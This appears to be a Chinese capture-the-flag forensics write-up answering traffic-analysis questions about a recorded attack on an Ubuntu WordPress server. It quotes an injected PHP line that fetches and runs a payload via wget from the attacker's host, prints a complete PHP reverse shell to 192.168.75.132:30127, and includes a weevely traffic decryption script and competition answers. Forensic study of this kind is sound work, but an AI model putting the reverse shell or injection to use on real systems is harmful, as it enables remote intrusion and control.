24首届数证杯(流量分析部分)

目录

流量分析

1、分析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格式:10)

复制代码
3504

相加即可

2、分析网络流量包检材,抓取该流量包时使用计算机操作系统的build版本是多少?

复制代码
23F79

3、分析网络流量包检材,受害者的IP地址是?(答案格式:192.168.1.1)

复制代码
192.168.75.131

结合报文和会话的统计可以确定

4、分析网络流量包检材,受害者所使用的操作系统是?(小写字母,答案格式:biwu)

复制代码
ubuntu

直接看报文

5、分析网络流量包检材,攻击者使用的端口扫描工具是?(小写字母,答案格式:abc)

复制代码
nmap

报文中包含Nmap Scripting Engine (NSE):说明该请求由 Nmap 的脚本引擎发出。

复制代码
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)

6、分析网络流量包检材,攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1)

复制代码
3.1.0

Wfuzz 是一个 Python 编码的应用程序,用于模糊测试 Web 应用程序。它提供了各种过滤器,通过将简单的 Web 请求替换为变量"FUZZ",可以将其替换为所需的字典列表。

7、分析网络流量包检材,攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php)

复制代码
/dbadmin/test_db.php

我直接看导出结果中的文件

跟进查看,可以看到登录成功了

8、分析网络流量包检材,攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写)

复制代码
admin

9、分析网络流量包检材,攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt)

复制代码
demo.php

攻击者先是创建了demo.php,之后再写入了phpinfo

写入phpinfo

10 、分析网络流量包检材,攻击者利用服务器漏洞从攻击机上下载的 payload 文件名是?

复制代码
rev.txt

可以看到木马脚本,往前看报文可以发现通过wget命令上传的

html 复制代码
tablename=rev&rows=1&0_field=re&0_type=INTEGER&0_defaultvalue=<?php system("wget 192.168.75.132:2000/rev.txt -O /tmp/rev.php; php /tmp/rev.php"); ?>')

11 、分析网络流量包检材,攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234)

复制代码
192.168.75.132:30127

根据上传脚本里的内容

php 复制代码
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.75.132';
$port = 30127;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

12 、分析网络流量包检材,攻击者电脑所使用的Python版本号是?

复制代码
3.11.8

查看攻击者的脚本,可以看help.php中报文中包含的python版本

13、分析网络流量包检材,受害者服务器中网站所使用的框架结构是?(答案格式:thinkphp)

复制代码
wordpress

14、分析网络流量包检材,攻击者获取到的数据库密码是?(答案格式:大小写按实际值填写)

复制代码
sWfCsfJSPV9H3AmQzw8
复制代码
/** MySQL database password */

define('DB_PASSWORD', 'sWfCsfJSPV9H3AmQzw8');

15 、分析网络流量包检材,攻击者上传了个weevely木马进行权限维持,上传时所使用的端口号为?(答案格式:3306)

复制代码
2000

记住,要查看tcp流,在http流是看不到交互

16、 分析网络流量包检材,攻击者上传了个weevely木马进行权限维持,该木马第一次执行时获取到的缓冲区内容是?(答案格式:按实际值填写)

复制代码
57638

发送的密文:}HWf-=PXe:{?M	 .cbbf9691e009G6oqKP+t4ABWAVLT4dExMHs6Ylw85a89e92c410f_OUraaYXp_&IVH4

返回的密文:dzINRguo2g6mkn7ycbbf9691e009G6pSUAZWgTBjNUtkPw==85a89e92c410

解密脚本

python 复制代码
import base64
import zlib

def decrypt(ciphertext, key, kh, kf):
    def xor_encrypt(data, key):
        """XOR 解密函数"""
        l = len(key)
        return ''.join(chr(data[i] ^ ord(key[i % l])) for i in range(len(data)))
    
    # 提取加密数据
    start = ciphertext.find(kh) + len(kh)
    end = ciphertext.find(kf)
    if start == -1 or end == -1:
        raise ValueError("密文格式不正确")
    
    encoded_data = ciphertext[start:end]
    
    # Base64 解码
    encrypted_data = base64.b64decode(encoded_data)
    
    # XOR 解密
    decrypted_data = xor_encrypt(encrypted_data, key).encode('latin1')
    
    # 解压缩
    try:
        decompressed_data = zlib.decompress(decrypted_data)
        return decompressed_data.decode('utf-8')
    except zlib.error as e:
        raise ValueError(f"解压缩失败: {e}")

# 密文和密钥
ciphertext = "dzINRguo2g6mkn7ycbbf9691e009G6pSUAZWgTBjNUtkPw==85a89e92c410"
key = "c6ae1e70"
kh = "cbbf9691e009"
kf = "85a89e92c410"

try:
    result = decrypt(ciphertext, key, kh, kf)
    print("解密结果:", result)
except Exception as e:
    print("解密失败:", e)
相关推荐
Bruce_Liuxiaowei2 小时前
深入理解PHP安全漏洞:文件包含与SSRF攻击全解析
开发语言·网络安全·php
痴人说梦梦中人8 小时前
自建 dnslog 回显平台:渗透测试场景下的隐蔽回显利器
web安全·网络安全·渗透测试·php·工具
Web极客码10 小时前
如何轻松、安全地管理密码(新手指南)
计算机网络·安全·web安全·网络安全
stormsha16 小时前
Proxmox Mail Gateway安装指南:从零开始配置高效邮件过滤系统
服务器·网络·网络安全·gateway
安全系统学习20 小时前
网络安全逆向分析之rust逆向技巧
前端·算法·安全·web安全·网络安全·中间件
2501_916007471 天前
绕过 Xcode?使用 Appuploader和主流工具实现 iOS 上架自动化
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_916013741 天前
使用 Windows 完成 iOS 应用上架:Appuploader对比其他证书与上传方案
websocket·网络协议·tcp/ip·http·网络安全·https·udp
网硕互联的小客服1 天前
如何防止服务器被用于僵尸网络(Botnet)攻击 ?
网络·网络安全·ddos
浩浩测试一下1 天前
Authpf(OpenBSD)认证防火墙到ssh连接到SSH端口转发技术栈 与渗透网络安全的关联 (RED Team Technique )
网络·网络协议·tcp/ip·安全·网络安全·php
网安INF2 天前
CVE-2020-17518源码分析与漏洞复现(Flink 路径遍历)
java·web安全·网络安全·flink·漏洞